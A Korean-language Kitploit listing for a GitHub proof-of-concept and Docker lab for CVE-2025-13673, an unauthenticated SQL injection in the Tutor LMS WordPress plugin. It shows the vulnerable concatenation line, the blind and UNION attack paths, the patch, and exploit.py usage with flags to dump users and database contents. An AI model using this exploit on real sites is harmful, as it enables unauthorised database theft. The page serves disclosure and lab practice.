Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-13673 — CVE-2025-13673: Tutor LMS SQL Injection PoC + Docker lab | Kitploit
도구/GitHubGitHub/dinosn/cve-2025-13673
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationLabs & Practice
GitHubdinosn/cve-2025-13673

CVE-2025-13673

CVE-2025-13673: Tutor LMS SQL Injection PoC + Docker lab

저장소 보기
23개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2025-13673 — Tutor LMS SQL 인젝션 실습 환경

인증되지 않은 SQL 인젝션 취약점이 Tutor LMS WordPress 플러그인 (<= 3.9.6)의 coupon_code 매개변수를 통해 존재합니다.

빠른 시작

# 1. Clone and start the lab
git clone https://github.com/dinosn/CVE-2025-13673.git
cd CVE-2025-13673
./setup.sh            # Deploys WordPress + Tutor LMS 3.9.3

# 2. Run the exploit
pip install requests   # only dependency

# Unauthenticated (time-based blind — no credentials needed)
python3 exploit.py http://localhost:8080

# Authenticated (UNION-based — instant extraction)
python3 exploit.py http://localhost:8080 -u testuser -p test123 --all

취약점 세부 정보

필드값
CVECVE-2025-13673
영향받는 버전Tutor LMS <= 3.9.6
수정 버전3.9.7
유형SQL Injection (CWE-89)
CVSS7.5 / 9.3
인증없음 (blind) / 구독자 (UNION)

근본 원인

QueryHelper::prepare_where_clause()는 SQL WHERE 절을 원시 문자열 연결로 구성합니다:

// helpers/QueryHelper.php — VULNERABLE
$value = is_numeric( $value ) ? $value : "'" . $value . "'";

이스케이프 처리가 없습니다. 작은따옴표 하나가 리터럴을 탈출하여 임의의 SQL 실행을 허용합니다.

공격 경로

인증되지 않음: POST / with tutor_action=tutor_pay_now. WordPress init 훅이 모든 방문자에 대해 이를 디스패치합니다. _tutor_nonce는 모든 프론트엔드 페이지에 포함되어 있으며 익명 세션에서 유효합니다. SLEEP()를 통한 데이터 추출.

구독자 이상: POST /wp-admin/admin-ajax.php with action=tutor_apply_coupon. 삽입된 UNION SELECT 데이터가 포함된 JSON 반환 — 응답에 반영된 두 개의 열로 즉시 추출 가능.

패치 (3.9.7)

- $val = is_numeric( $val ) ? $val : "'" . $val . "'";
+ // Value now passed through $wpdb->prepare('%s', $value)

익스플로잇 사용법

usage: exploit.py [-h] [-u USERNAME] [-p PASSWORD] [--course-id COURSE_ID]
                  [--dump-users] [--db-info] [--options] [--all]
                  [--delay DELAY]
                  url

Modes:
  Default (no -u/-p):  Unauthenticated time-based blind SQLi
  With -u/-p:          Authenticated UNION-based (fast)

Examples:
  exploit.py http://target                            # unauth blind
  exploit.py http://target -u student -p pass --all   # auth UNION

다른 버전 테스트

# Test version 3.9.5 (has esc_sql partial mitigation)
./setup.sh 3.9.5

# Test version 3.9.7 (should be fixed)
./setup.sh 3.9.7

파일

파일설명
exploit.py이중 모드 PoC: 인증되지 않은 blind + 인증된 UNION
setup.sh원커맨드 실습 환경 배포
docker-compose.ymlWordPress 6.7 + MySQL 8.0

참고 자료

  • Wordfence 권고
  • Patchstack 권고

면책 조항

승인된 보안 테스트 및 교육 목적으로만 사용하십시오.

도구 다운로드